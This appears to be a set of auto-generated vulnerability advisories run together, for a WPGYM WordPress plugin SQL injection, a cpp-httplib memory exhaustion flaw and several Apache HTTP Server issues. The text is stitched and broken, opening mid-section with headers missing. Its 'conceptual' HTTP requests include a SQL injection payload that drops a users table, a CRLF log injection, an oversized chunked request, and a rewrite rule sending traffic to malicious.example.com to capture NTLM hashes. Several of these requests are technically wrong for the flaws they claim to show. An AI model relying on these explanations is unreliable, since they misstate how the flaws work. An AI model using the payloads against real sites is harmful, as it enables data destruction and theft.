Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

WPGYM – WordPress Gym Management System | Up to 67.8.0

How the Exploit Works

The vulnerability arises from insufficient escaping on user-supplied parameters and lack of adequate preparation in the SQL query in multiple functions of the plugin. As a result, unauthenticated attackers can append additional SQL queries into already existing queries, allowing them to extract sensitive information from the database.

Conceptual Example Code

The following is a conceptual HTTP POST request that demonstrates how an attacker might exploit the vulnerability:

POST /MJ_gmgt_delete_class_limit_for_member HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
class_id=1; DROP TABLE users;--

In this example, the attacker appends a `DROP TABLE` SQL command to the `class_id` parameter, causing the database to delete the users table.

Mitigation

Users are advised to apply the latest patch provided by the vendor. If a patch is not immediately available, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could offer temporary mitigation to the vulnerability.

Overview

This report covers a critical vulnerability found in the cpp-httplib, a C++11 single-file header-only cross platform HTTP/HTTPS library.

This issue has a significant impact as it can potentially compromise the system or result in data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53629
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

cpp-httplib | Prior to 0.23.0

How the Exploit Works

The vulnerability lies in the way the server handles incoming requests using the Transfer-Encoding: chunked in the header. An attacker can exploit this vulnerability by sending a specially crafted HTTP/HTTPS request with chunked Transfer-Encoding. The server then allocates memory for these chunks without any limitation, leading to memory exhaustion.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a HTTP request:

POST / HTTP/1.1
Host: target.example.com
Transfer-Encoding: chunked
Content-Length: 9999999999
{ "malicious_payload": "..." }

In this example, the attacker sends a POST request with the Transfer-Encoding header set to chunked and an arbitrary large number for the Content-Length. The server then allocates memory based on the Content-Length, leading to memory exhaustion.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch by updating cpp-httplib to version 0.23.0 or later. If the patch cannot be applied immediately, a temporary mitigation would be to use Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block requests with chunked Transfer-Encoding.

Affected Products

Product | Affected Versions

Apache HTTP Server | 2.4.26 – 2.4.63

How the Exploit Works

The exploit works by taking advantage of specific proxy configurations in Apache HTTP Servers. When a reverse proxy is configured for an HTTP/2 backend, with ProxyPreserveHost set to “on”, untrusted clients can trigger an assertion in mod_proxy_http2. This leads to a Denial of Service (DoS) attack, potentially compromising the system and leading to data leaks.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is by sending a malicious HTTP/2 request to the server. Below is a conceptual example of such a request:

POST /vulnerable/endpoint HTTP/2.0
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "trigger assertion in mod_proxy_http2" }

This is a conceptual example only and does not represent an actual exploit. It is used to illustrate the type of request that could potentially exploit this vulnerability.

Mitigation

The recommended mitigation for this vulnerability is to apply the vendor-supplied patch. If the patch cannot be applied immediately, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation.

Vulnerability Summary

CVE ID: CVE-2024-47252
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apache HTTP Server | 2.4.63 and earlier

How the Exploit Works

The vulnerability is due to insufficient escaping of user-supplied data in mod_ssl. In a logging configuration where CustomLog is used with “%{varname}x” or “%{varname}c” to log variables provided by mod_ssl such as SSL_TLS_SNI, no escaping is performed by either mod_log_config or mod_ssl. This allows an untrusted SSL/TLS client to insert escape characters into log files, leading to unsanitized data appearing in the log files.

Conceptual Example Code

This is a theoretical example of how a HTTP request might exploit the vulnerability:

GET / HTTP/1.1
Host: vulnerable.server.com
SSL_TLS_SNI: www.vulnerable.server.com\r\nInjected_Header: Malicious_Content

In the above example, the attacker inserts a carriage return and newline characters in the SSL_TLS_SNI field, followed by a malicious header. This would then be logged as is by the server, potentially leading to various forms of exploits, including log injection attacks.

Affected Products

Product | Affected Versions

Apache HTTP Server | 2.4.0 – 2.4.63

How the Exploit Works

The vulnerability arises due to the server’s mishandling of unvalidated request input via mod_rewrite or apache expressions. A malicious actor can exploit this vulnerability by sending specially crafted requests to the server, which then inadvertently leaks NTLM hashes to the malicious server. The exploitation may occur via UNC paths, with limited protection offered by the server against administrators directing it to open these paths.

Conceptual Example Code

The following example represents a conceptual example of a malicious HTTP request exploiting this vulnerability:

POST /path/mod_rewrite HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
rewriteRule=^.*$ http://malicious.example.com/%{REQUEST_URI} [R=301,L]

In this example, a malicious actor uses a rewrite rule to redirect all requests to their server, potentially capturing NTLM hashes in the process. Note that this is a conceptual representation and actual exploit codes may vary.

Impact Summary

Successful exploitation of this vulnerability could lead to the potential compromise of the system or data leakage. The vulnerability allows an attacker to potentially leak NTLM hashes to a malicious server, which could potentially be used for further attacks or unauthorized access to sensitive resources.

Mitigation Guidance

To mitigate this vulnerability, it is advised to apply the vendor patch as soon as possible. If immediate patching is not feasible, a temporary mitigation could involve the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block potential exploitation attempts. Additionally, Windows servers should limit the hosts they will connect over via SMB based on the nature of NTLM authentication to further protect against such attacks.
